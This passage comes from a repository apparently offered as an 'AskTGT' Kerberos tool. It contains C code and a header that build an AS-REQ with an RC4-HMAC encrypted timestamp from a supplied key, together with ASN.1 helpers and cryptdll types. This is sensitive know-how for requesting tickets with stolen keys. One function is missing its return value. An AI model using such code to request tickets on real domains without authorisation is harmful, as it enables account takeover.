ASN_ELEMENT* Pvno,\n\t_Out_ ASN_ELEMENT* MessageType\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t// Generate the ASN.1 element for the \n\tASN_ELEMENT Temp1 = { 0x00 };\n\tStatus = KerbpAsnMakeInteger(&Temp1, 5);\n\n\tASN_ELEMENT Temp2 = { 0x00 };\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x01,\n\t\tPvno\n\t);\n\n\t// Generate the ASN.1 element\n\tASN_ELEMENT Temp3 = { 0x00 };\n\tASN_ELEMENT Temp4 = { 0x00 };\n\tStatus = KerbpAsnMakeInteger(&Temp3, KERBEROS_MESSAGE_TYPE_AS_REQ);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp4,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp3,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp4,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x02,\n\t\tMessageType\n\t);\n\n\treturn Status;\n}\n\n/// <summary>\n/// Generate the EncryptedData ASN.1 element containing the encrypted timestamp.\n/// </summary>\nNTSTATUS KerbGenerateEncryptedData(\n\t_In_  LPCSTR       StringKey,\n\t_In_  DWORD        StringKeySize,\n\t_Out_ ASN_ELEMENT* pElement \n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tASN_ELEMENT Temp2 = { 0x00 };\n\n\t// padata-type\n\tASN_ELEMENT PdataType = { 0x00 };\n\tStatus = KerbpAsnMakeInteger(&Temp1, KERBEROS_PDATA_TYPE_ENC_TIMESTAMP);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x01,\n\t\t&PdataType\n\t);\n\n\t// Reset\n\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\tRtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT));\n\n\t// Generate the timestamp\n\tASN_ELEMENT Timestamp = { 0x00 };\n\tStatus = KerbpGenerateTimestamp(0x00, &Timestamp);\n\n\t// Encrypt the timestamp\n\tDWORD EncryptedDataSize = 0x00;\n\tENCRYPTED_DATA EncryptedData = { 0x00 };\n\tEncryptedData.EType = KERBEROS_ETYPE_RC4_HMAC;\n\n\tStatus = KerbpEncryptTimestamp(\n\t\tStringKey,\n\t\tStringKeySize,\n\t\t&Timestamp,\n\t\t&EncryptedData,\n\t\t&EncryptedDataSize\n\t);\n\n\t// Get encoded data\n\tPBYTE RawEncryptedData = NULL;\n\tDWORD RawEncryptedDataSize = 0x00;\n\tKerbpEncodeEncryptedData(\n\t\t&EncryptedData,\n\t\tEncryptedDataSize,\n\t\t&RawEncryptedData,\n\t\t&RawEncryptedDataSize\n\t);\n\n\t// padata-value\n\tASN_ELEMENT PdataValue = { 0x00 };\n\tStatus = KerbpAsnMakePrimitive(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_OCTET_STRING,\n\t\tRawEncryptedData,\n\t\t0x00,\n\t\tRawEncryptedDataSize\n\t);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x02,\n\t\t&PdataValue\n\t);\n\n\t// Create sequence for both element.\n\tASN_ELEMENT Elements[0x02] = { PdataType, PdataValue };\n\tStatus = KerbpAsnMakeConstructed(\n\t\tpElement,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\tElements,\n\t\t0x02\n\t);\n}\n\n/// <summary>\n/// Generate the PacRequest ASN.1 element. \n/// </summary>\nNTSTATUS KerbGeneratePac(\n\t_Out_ ASN_ELEMENT* pElement\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tASN_ELEMENT Temp2 = { 0x00 };\n\n\t// padata-type\n\tASN_ELEMENT PdataType = { 0x00 };\n\tStatus = KerbpAsnMakeInteger(&Temp1, KERBEROS_PDATA_TYPE_PA_PAC_REQUEST);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x01,\n\t\t&PdataType\n\t);\n\n\t// Reset\n\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\tRtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT));\n\n\t// Generate the PAC request.\n\tASN_ELEMENT PdataValue = { 0x00 };\n\tBYTE Blob[0x07] = { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 };\n\tStatus = KerbpAsnMakePrimitive(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_OCTET_STRING,\n\t\tBlob,\n\t\t0x00,\n\t\t0x07\n\t);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x02,\n\t\t&PdataValue\n\t);\n\n\t// Create sequence for both element.\n\tASN_ELEMENT Elements[0x02] = { PdataType, PdataValue };\n\treturn KerbpAsnMakeConstructed(\n\t\tpElement,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\tElements,\n\t\t0x02\n\t);\n}\n\n/// <summary>\n/// Generate the KDC-REQ-BODY ASN.1 element.\n/// </summary>\nNTSTATUS KerbGenerateKDCReqBody(\n\t_In_  PBYTE        DomainName,\n\t_In_  PBYTE        SecurityPrincipal,\n\t_Out_ ASN_ELEMENT* pElement\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t// kdc-options\n\tASN_ELEMENT KdcOptions = { 0x00 };\n\tStatus = KerbpGenerateKdcOptions(\n\t\t(KERBEROS_KDC_OPTION_FORWARDABLE | KERBEROS_KDC_OPTION_RENEWABLE | KERBEROS_KDC_OPTION_RENEWABLEOK),\n\t\t&KdcOptions\n\t);\n\n\t// cname\n\tASN_ELEMENT Cname = { 0x00 };\n\tStatus = KerbpGeneratePrincipalName(\n\t\tSecurityPrincipal,\n\t\tstrlen(SecurityPrincipal),\n\t\tKERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL,\n\t\t&Cname\n\t);\n\n\t// realm\n\tASN_ELEMENT Realm = {0x00};\n\tStatus = KerbpGenerateRealm(\n\t\tDomainName,\n\t\tstrlen(DomainName),\n\t\t&Realm\n\t);\n\n\t// sname\n\tASN_ELEMENT Sname = { 0x00 };\n\tStatus = KerbpGeneratePrincipalName(\n\t\tDomainName,\n\t\tstrlen(DomainName),\n\t\tKERBEROS_PRINCIPAL_TYPE_NT_SRV_INST,\n\t\t&Sname\n\t);\n\n\t// till\n\tASN_ELEMENT Till = { 0x00 };\n\tStatus = KerbpGenerateTimestamp(0x05, &Till);\n\n\t// nonce\n\tASN_ELEMENT Nonce = { 0x00 };\n\tStatus = KerbpGenerateNonce(&Nonce);\n\n\t// etype\n\tASN_ELEMENT Etype = { 0x00 };\n\tStatus = KerbpGenerateEtype(&Etype);\n\n\t// Make sequence with everything from above\n\tASN_ELEMENT Elements[0x07] = { KdcOptions, Cname, Realm, Sname, Till, Nonce, Etype };\n\treturn KerbpAsnMakeConstructed(\n\t\tpElement,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\tElements,\n\t\t0x07\n\t);\n}\n\n/// <summary>\n/// Generate the final ASN.1 element.\n/// </summary>\nNTSTATUS KerbGenerateFinalRequest(\n\t_In_  ASN_ELEMENT* Pvno,\n\t_In_  ASN_ELEMENT* MessageType,\n\t_In_  ASN_ELEMENT* EncryptedData,\n\t_In_  ASN_ELEMENT* Pac,\n\t_In_  ASN_ELEMENT* Body,\n\t_Out_ PBYTE*       Data,\n\t_Out_ INT32*       DataSize\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t// Temporary elements\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tASN_ELEMENT Temp2 = { 0x00 };\n\n\t// Final body\n\tASN_ELEMENT FinalBody = { 0x00 };\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\tBody,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x04,\n\t\t&FinalBody\n\t);\n\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\n\t// Final padata\n\tASN_ELEMENT FinalPadata = { 0x00 };\n\tASN_ELEMENT Padata[0x02] = { *EncryptedData, *Pac };\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\tPadata,\n\t\t0x02\n\t);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x03,\n\t\t&FinalPadata\n\t);\n\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\tRtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT));\n\n\t// Encode everything\n\tASN_ELEMENT Elements[0x04] = { *Pvno, *MessageType, FinalPadata, FinalBody };\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\tElements,\n\t\t0x04\n\t);\n\n\t// Final request\n\tASN_ELEMENT FinalRequest = { 0x00 };\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_APPLPICATION,\n\t\t10,\n\t\t&FinalRequest\n\t);\n\n\t// Encode everything to a byte array\n\t*Data = calloc(0x01, FinalRequest.ObjectLength);\n\t*DataSize = KerbpAsnEncode(\n\t\t&FinalRequest,\n\t\t0x00,\n\t\tFinalRequest.ObjectLength + 0x10,\n\t\t0x00,\n\t\t*Data\n\t);\n\n\treturn STATUS_SUCCESS;\n}"
  },
  {
    "path": "Kerberos/AskTGT/kerberos.h",
    "content": "\n#ifndef __TGT_H_GUARD__\n#define __TGT_H_GUARD__\n\n#include <Windows.h>\n\n#define STATUS_SUCCESS            0x00000000\n#define STATUS_UNSUCCESSFUL       0xC0000001\n#define STATUS_PRIVILEGE_NOT_HELD 0xC0000061\n#define STATUS_NOT_SUPPORTED      0xC00000BB\n#define STATUS_NO_TOKEN           0xC000007C\n\n#ifndef NT_ERROR\n#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)\n#endif\n\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#endif\n\n#define XLATE_UINT32(disp, x) (((ULONG32)disp & ((ULONG32)0xFF << (8 *(3 - x)))) >> (8 * (3 - x)))\n\n#define KERBEROS_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP        1\n#define KERBEROS_KEY_USAGE_AS_REP_TGS_REP                 2\n#define KERBEROS_KEY_USAGE_AS_REP_EP_SESSION_KEY          3\n#define KERBEROS_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA 4\n#define KERBEROS_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR       7\n#define KERBEROS_KEY_USAGE_TGS_REP_EP_SESSION_KEY         8\n#define KERBEROS_KEY_USAGE_AP_REQ_AUTHENTICATOR           11\n#define KERBEROS_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART        13\n#define KERBEROS_KEY_USAGE_KRB_CRED_ENCRYPTED_PART        14\n#define KERBEROS_KEY_USAGE_KRB_NON_KERB_SALT              16\n#define KERBEROS_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT        17\n#define KERBEROS_KEY_USAGE_PA_S4U_X509_USER               26\n\n#define KERBEROS_PDATA_TYPE_NONE                     0\n#define KERBEROS_PDATA_TYPE_TGS_REQ                  1\n#define KERBEROS_PDATA_TYPE_AP_REQ                   1\n#define KERBEROS_PDATA_TYPE_ENC_TIMESTAMP            2\n#define KERBEROS_PDATA_TYPE_PW_SALT                  3\n#define KERBEROS_PDATA_TYPE_ENC_UNIX_TIME            5\n#define KERBEROS_PDATA_TYPE_SANDIA_SECUREID          6\n#define KERBEROS_PDATA_TYPE_SESAME                   7\n#define KERBEROS_PDATA_TYPE_OSF_DCE                  8\n#define KERBEROS_PDATA_TYPE_CYBERSAFE_SECUREID       9\n#define KERBEROS_PDATA_TYPE_AFS3_SALT                10\n#define KERBEROS_PDATA_TYPE_ETYPE_INFO               11\n#define KERBEROS_PDATA_TYPE_SAM_CHALLENGE            12\n#define KERBEROS_PDATA_TYPE_SAM_RESPONSE             13\n#define KERBEROS_PDATA_TYPE_SAM_RESPONSE             13\n#define KERBEROS_PDATA_TYPE_PK_AS_REQ_19             14\n#define KERBEROS_PDATA_TYPE_PK_AS_REP_19             15\n#define KERBEROS_PDATA_TYPE_PK_AS_REQ_WIN            15\n#define KERBEROS_PDATA_TYPE_PK_AS_REQ                16\n#define KERBEROS_PDATA_TYPE_PK_AS_REP                17\n#define KERBEROS_PDATA_TYPE_PA_PK_OCSP_RESPONSE      18\n#define KERBEROS_PDATA_TYPE_ETYPE_INFO2              19\n#define KERBEROS_PDATA_TYPE_USE_SPECIFIED_KVNO       20\n#define KERBEROS_PDATA_TYPE_SVR_REFERRAL_INFO        20\n#define KERBEROS_PDATA_TYPE_SAM_REDIRECT             21\n#define KERBEROS_PDATA_TYPE_GET_FROM_TYPED_DATA      22\n#define KERBEROS_PDATA_TYPE_SAM_ETYPE_INFO           23\n#define KERBEROS_PDATA_TYPE_SERVER_REFERRAL          25\n#define KERBEROS_PDATA_TYPE_TD_KRB_PRINCIPAL         102\n#define KERBEROS_PDATA_TYPE_PK_TD_TRUSTED_CERTIFIERS 104\n#define KERBEROS_PDATA_TYPE_PK_TD_CERTIFICATE_INDEX  105\n#define KERBEROS_PDATA_TYPE_TD_APP_DEFINED_ERROR     106\n#define KERBEROS_PDATA_TYPE_TD_REQ_NONCE             107\n#define KERBEROS_PDATA_TYPE_TD_REQ_SEQ               108\n#define KERBEROS_PDATA_TYPE_PA_PAC_REQUEST           128\n#define KERBEROS_PDATA_TYPE_S4U2SELF                 129\n#define KERBEROS_PDATA_TYPE_PA_S4U_X509_USER         130\n#define KERBEROS_PDATA_TYPE_PA_PAC_OPTIONS           167\n#define KERBEROS_PDATA_TYPE_PK_AS_09_BINDING         132\n#define KERBEROS_PDATA_TYPE_CLIENT_CANONICALIZED     133\n\n#define KERBEROS_MESSAGE_TYPE_AS_REQ   10\n#define KERBEROS_MESSAGE_TYPE_AS_REP   11\n#define KERBEROS_MESSAGE_TYPE_TGS_REQ  12\n#define KERBEROS_MESSAGE_TYPE_TGS_REP  13\n#define KERBEROS_MESSAGE_TYPE_AP_REQ   14\n#define KERBEROS_MESSAGE_TYPE_AP_REP   15\n#define KERBEROS_MESSAGE_TYPE_TGT_REQ  16\n#define KERBEROS_MESSAGE_TYPE_TGT_REP  17\n#define KERBEROS_MESSAGE_TYPE_SAFE     20\n#define KERBEROS_MESSAGE_TYPE_PRIV     21\n#define KERBEROS_MESSAGE_TYPE_CRED     22\n#define KERBEROS_MESSAGE_TYPE_ERROR    30\n\n#define KERBEROS_ETYPE_DES_CBC_CRC                     1\n#define KERBEROS_ETYPE_DES_CBC_MD4                     2\n#define KERBEROS_ETYPE_DES_CBC_MD5                     3\n#define KERBEROS_ETYPE_DES3_CBC_MD5                    5\n#define KERBEROS_ETYPE_DES3_CBC_SHA1                   7\n#define KERBEROS_ETYPE_DSA_WITH_SHA1_CMSOID            9\n#define KERBEROS_ETYPE_MD5_WITH_RSA_ENCRYPTION_CMSOID  10\n#define KERBEROS_ETYPE_SHA1_WITH_RSA_ENCRYPTION_CMSOID 11\n#define KERBEROS_ETYPE_RC2CBC_ENVOID                   12\n#define KERBEROS_ETYPE_RSA_ENCRYPTION_ENVOID           13\n#define KERBEROS_ETYPE_RSA_ES_OAEP_ENV_IOD             14\n#define KERBEROS_ETYPE_DES_EDE3_CBC_ENV_OID            15\n#define KERBEROS_ETYPE_DES3_CBC_SHA1_KD                16\n#define KERBEROS_ETYPE_AES128_CTS_HMAC_SHA1            17\n#define KERBEROS_ETYPE_AES256_CTS_HMAC_SHA1            18\n#define KERBEROS_ETYPE_RC4_HMAC                        23\n#define KERBEROS_ETYPE_RC4_HMAC_EXPORT                 24\n#define KERBEROS_ETYPE_SUBKEY_MATERIAL                 65\n#define KERBEROS_ETYPE_OLD_EXP                         -135\n\n#define KERBEROS_KDC_OPTION_VALIDATE               0x00000001\n#define KERBEROS_KDC_OPTION_RENEW                  0x00000002\n#define KERBEROS_KDC_OPTION_UNUSED29               0x00000004\n#define KERBEROS_KDC_OPTION_ENCTKTINSKEY           0x00000008\n#define KERBEROS_KDC_OPTION_RENEWABLEOK            0x00000010\n#define KERBEROS_KDC_OPTION_DISABLETRANSITEDCHECK  0x00000020\n#define KERBEROS_KDC_OPTION_UNUSED16               0x0000FFC0\n#define KERBEROS_KDC_OPTION_CONSTRAINED_DELEGATION 0x00020000\n#define KERBEROS_KDC_OPTION_CANONICALIZE           0x00010000\n#define KERBEROS_KDC_OPTION_CNAMEINADDLTKT         0x00004000\n#define KERBEROS_KDC_OPTION_OK_AS_DELEGATE         0x00040000\n#define KERBEROS_KDC_OPTION_REQUEST_ANONYMOUS      0x00008000\n#define KERBEROS_KDC_OPTION_UNUSED12               0x00080000\n#define KERBEROS_KDC_OPTION_OPTHARDWAREAUTH        0x00100000\n#define KERBEROS_KDC_OPTION_PREAUTHENT             0x00200000\n#define KERBEROS_KDC_OPTION_INITIAL                0x00400000\n#define KERBEROS_KDC_OPTION_RENEWABLE              0x00800000\n#define KERBEROS_KDC_OPTION_UNUSED7                0x01000000\n#define KERBEROS_KDC_OPTION_POSTDATED              0x02000000\n#define KERBEROS_KDC_OPTION_ALLOWPOSTDATE          0x04000000\n#define KERBEROS_KDC_OPTION_PROXY                  0x08000000\n#define KERBEROS_KDC_OPTION_PROXIABLE              0x10000000\n#define KERBEROS_KDC_OPTION_FORWARDED              0x20000000\n#define KERBEROS_KDC_OPTION_FORWARDABLE            0x40000000\n#define KERBEROS_KDC_OPTION_RESERVED               0x80000000\n\n#define KERBEROS_PRINCIPAL_TYPE_NT_UNKNOWN        0\n#define KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL      1\n#define KERBEROS_PRINCIPAL_TYPE_NT_SRV_INST       2\n#define KERBEROS_PRINCIPAL_TYPE_NT_SRV_HST        3\n#define KERBEROS_PRINCIPAL_TYPE_NT_SRV_XHST       4\n#define KERBEROS_PRINCIPAL_TYPE_NT_UID            5\n#define KERBEROS_PRINCIPAL_TYPE_NT_X500_PRINCIPAL 6\n#define KERBEROS_PRINCIPAL_TYPE_NT_SMTP_NAME      7\n#define KERBEROS_PRINCIPAL_TYPE_NT_ENTERPRISE     10\n\n// ASN.1 Tag identifiers\n#define ASN_TAG_INTEGER            0x02\n#define ASN_TAG_BIT_STRING         0x03\n#define ASN_TAG_OCTET_STRING       0x04\n#define ASN_TAG_NULL               0x05\n#define ASN_TAG_OBJECT_IDENTIFIER  0x06\n#define ASN_TAG_UTF8STRING         0x0C\n#define ASN_TAG_SEQUENCE           0x10\n#define ASN_TAG_SEQUENCE_OF        (ASN_TAG_SEQUENCE)\n#define ASN_TAG_SET                0x11\n#define ASN_TAG_SET_OF             (ASN_TAG_SET)\n#define ASN_TAG_PRINTABLE_STRING   0x13\n#define ASN_TAG_IA5_STRING         0x16\n#define ASN_TAG_UTC_TIME           0x17\n#define ASN_TAG_GENERALIZED_TIME   0x18\n#define ASN_TAG_GRAPHIC_STRING     0x19\n#define ASN_TAG_VISIBLE_STRING     0x1A\n#define ASN_TAG_GENERAL_STRING     0x1B\n#define ASN_TAG_UNIVERSAL_STRING   0x1C\n#define ASN_TAG_CHARACTER_STRING   0x1D\n#define ASN_TAG_BMP_STRING         0x1E\n\n// ASN.1 Tag classes\n#define ASN_TAG_CLASS_UNIVERSAL        0\n#define ASN_TAG_CLASS_APPLPICATION     1\n#define ASN_TAG_CLASS_CONTEXT_SPECIFIC 2\n#define ASN_TAG_CLASS_PRIVATE          3\n\n/// <summary>\n/// ASN.1 BER Element\n/// </summary>\ntypedef struct _ASN_ELEMENT {\n    INT32 TagValue;       // Tag of the element. Look at ASN_TAG_*\n    INT32 TagClass;       // Tag class of the elemnt. Look at ASN_TAG_CLASS_*\n\n    // Sub elements if composed\n    PBYTE Sub;            // List of sub ASN.1 element\n    UINT8 SubElements;    // If != 0x00 constructed element otherwise primitive element\n\n    // Internal Values\n    PBYTE   ObjectBuffer; // The final object to use\n    INT32   ObjectLength; // Length of the encoded object\n    INT32   ObjectOffset; // Offset of the objetc buffer\n    INT32   ValueOffset;  // Offset of the value\n    INT32   ValueLength;  // Length of the value held by the object\n}ASN_ELEMENT, *PASN_ELEMENT;\n\n///EncryptedData::= SEQUENCE {\n///    etype[0] Int32 -- EncryptionType --,\n///    kvno[1] UInt32 OPTIONAL,\n///    cipher[2] OCTET STRING -- ciphertext\n///}\ntypedef struct _ENCRYPTED_DATA {\n    INT32  EType;\n    UINT32 kvno;\n    LPVOID cipher;\n} ENCRYPTED_DATA, *PENCRYPTED_DATA;\n\n/// <summary>\n/// Used in conjunction with cryptdll.dll\n/// </summary>\ntypedef struct _KERBEROS_ECRYPT {\n    INT32  Type0;\n    INT32  BlockSize;\n    INT32  Type1;\n    INT32  KeySize;\n    INT32  Size;\n    INT32  Unknown2;\n    INT32  Unknown3;\n    LPVOID AlgName;\n    LPVOID Initialize;\n    LPVOID Encrypt;\n    LPVOID Decrypt;\n    LPVOID Finish;\n    LPVOID HashPassword;\n    LPVOID RandomKey;\n    LPVOID Control;\n    LPVOID Unknown0Null;\n    LPVOID Unknown1Null;\n    LPVOID Unknown2Null;\n} KERBEROS_ECRYPT, *PKERBEROS_ECRYPT;\n\n//-------------------------------------------------------------------------------------------------//\n// External functions\n//-------------------------------------------------------------------------------------------------//\ntypedef INT32(STDMETHODCALLTYPE* fnCDLocateCSystem)(\n    _In_  INT32  Etype,\n    _Out_ LPVOID AddressOfStructure\n);\n\ntypedef INT32(STDMETHODCALLTYPE* fnInitialize)(\n    _In_  LPBYTE  Key,\n    _In_  INT32   KeySize,\n    _In_  INT32   KeyUsage,\n    _Out_ LPVOID* Context\n);\n\ntypedef INT32(STDMETHODCALLTYPE* fnEncrypt)(\n    _In_  LPVOID Context,\n    _In_  LPBYTE BufferIn,\n    _In_  INT32  BufferInSize,\n    _Out_ LPBYTE BufferOut,\n    _Out_ DWORD* BufferOutSize\n);\n\ntypedef INT32(STDMETHODCALLTYPE* fnFinish)(\n    _In_ LPVOID Context\n);\n\n//-------------------------------------------------------------------------------------------------//\n// Public functions\n//-------------------------------------------------------------------------------------------------//\nNTSTATUS KerbGeneratePvnoAndType(\n    _Out_ ASN_ELEMENT* Pvno,\n    _Out_ ASN_ELEMENT* MessageType\n);\n\nNTSTATUS KerbGenerateEncryptedData(\n    _In_  LPCSTR       StringKey,\n    _In_  DWORD        StringKeySize,\n    _Out_ ASN_ELEMENT* EncryptedData\n);\n\nNTSTATUS KerbGeneratePac(\n    _Out_ ASN_ELEMENT* pElement\n);\n\nNTSTATUS KerbGenerateKDCReqBody(\n    _In_  PBYTE        DomainName,\n    _In_  PBYTE        SecurityPrincipal,\n    _Out_ ASN_ELEMENT* pElement\n);\n\nNTSTATUS KerbGenerateFinalRequest(\n    _In_  ASN_ELEMENT* Pvno,\n    _In_  ASN_ELEMENT* MessageType,\n    _In_  ASN_ELEMENT* EncryptedData,\n    _In_  ASN_ELEMENT* Pac,\n    _In_  ASN_ELEMENT* Body,\n    _Out_ PBYTE*       Data,\n    _Out_ INT32*       DataSize\n);\n\n//-------------------------------------------------------------------------------------------------//\n// Private functions\n//-------------------------------------------------------------------------------------------------/\nINT32 KerbpGetAsnTagLength(\n    _In_ INT32 Tag\n);\n\nINT32 KerbpGetAsnLengthLenght(\n    _In_ INT32 Length\n);\n\nINT32 KerbpAsnGetEffectiveEncodedLength(\n    _In_ ASN_ELEMENT* pElement\n);\n\nINT32 KerbpAsnGetEffectiveValueLenght(\n    _In_ ASN_ELEMENT* pElement\n);\n\nNTSTATUS KerbpAsnMakePrimitive(\n    _Inout_ ASN_ELEMENT* pElement,\n    _In_    CONST INT8   TagClass,\n    _In_    CONST INT8   TagValue,\n    _In_    CONST PBYTE  pBuffer,\n    _In_    CONST INT32  Offset,\n    _In_    CONST INT32  Length\n);\n\nNTSTATUS KerbpAsnMakeConstructed(\n    _Inout_ ASN_ELEMENT* pElement,\n    _In_    CONST INT8         TagClass,\n    _In_    CONST INT8         TagValue,\n    _In_    CONST ASN_ELEMENT* pSubElements,\n    _In_    CONST DWORD        NumberOfSubElements\n);\n\nNTSTATUS KerbpAsnMakeImplicit(\n    _In_  ASN_ELEMENT* pElementIn,\n    _In_  CONST INT8   TagClass,\n    _In_  CONST INT8   TagValue,\n    _Out_ ASN_ELEMENT* pElementOut\n);\n\nNTSTATUS KerbpAsnMakeInteger(\n    _Inout_ ASN_ELEMENT* pElement,\n    _In_    LONG         Value\n);\n\nINT32 KerbpAnsEncodeValue(\n    _In_  ASN_ELEMENT* pElement,\n    _In_  INT32        Start,\n    _In_  INT32        End,\n    _In_  INT32        RawElementOffset,\n    _Out_ PBYTE        pRawElement\n);\n\nINT32 KerbpAsnEncode(\n    _In_  ASN_ELEMENT* pElement,\n    _In_  INT32        Start,\n    _In_  INT32        End,\n    _In_  DWORD        RawElementOffset,\n    _Out_ PBYTE        pRawElement\n);\n\nNTSTATUS KerbpEncryptInternal(\n    _In_  INT32            EType,\n    _Out_ KERBEROS_ECRYPT* pECrypt\n);\n\nNTSTATUS KerbpEncrypt(\n    _In_  INT32  EType,\n    _In_  INT32  EncReason,\n    _In_  PBYTE  Key,\n    _In_  DWORD  KeyLength,\n    _In_  PBYTE  BufferIn,\n    _In_  DWORD  BufferInSize,\n    _Out_ PBYTE* BufferOut,\n    _Out_ DWORD* BufferOutSize\n);\n\nNTSTATUS KerbpGenerateTimestamp(\n    _In_  INT32        TagClassValue,\n    _Out_ ASN_ELEMENT* Timestamp\n);\n\nNTSTATUS KerbpEncryptTimestamp(\n    _In_  LPBYTE          Key,\n    _In_  DWORD           KeySize,\n    _In_  ASN_ELEMENT* Timestamp,\n    _Out_ ENCRYPTED_DATA* EncryptedData,\n    _Out_ DWORD* EncryptedDataSize\n);\n\nNTSTATUS KerbpEncodeEncryptedData(\n    _In_  ENCRYPTED_DATA* EncryptedData,\n    _In_  DWORD           EncryptedDataSize,\n    _Out_ PBYTE* RawData,\n    _Out_ DWORD* RawDataSize\n);\n\nNTSTATUS KerbpFormatTimestamp(\n    _Out_ CHAR** pszBuffer,\n    _In_  CONST DWORD dwBufferSize,\n    _In_  CONST CHAR* Format,\n    _In_  ...\n);\n\n#endif// !__TGT_H_GUARD__"
  },
  {
    "path": "Kerberos/AskTGT/main.c",
    "content": "\n#include \"socket.h\"\n\n//#include <Windows.h>\n#include <stdio.h>\n#include <Lm.h>\n#include <DsGetDC.h>\n#include <ntsecapi.h>\n#include <strsafe.h>\n\n#include \"kerberos.h\"\n\n#pragma comment(lib, \"NetApi32.lib\")\n#pragma comment(lib, \"ntdll.lib\")\n#pragma comment(lib, \"netapi32.lib\")\n\n/// <summary>\n/// Get the information related to the primary domain controller.\n/// </summary>\n/// <param name=\"ServerName\">Server to query</param>\n/// <param name=\"DomainName\">Domain to query</param>\n/// <param name=\"DCInformation\">Pointer to the PDOMAIN_CONTROLLER_INFOW pointer of structure</param>\n/// <returns>Whether the function executed successfully</returns>\nNTSTATUS 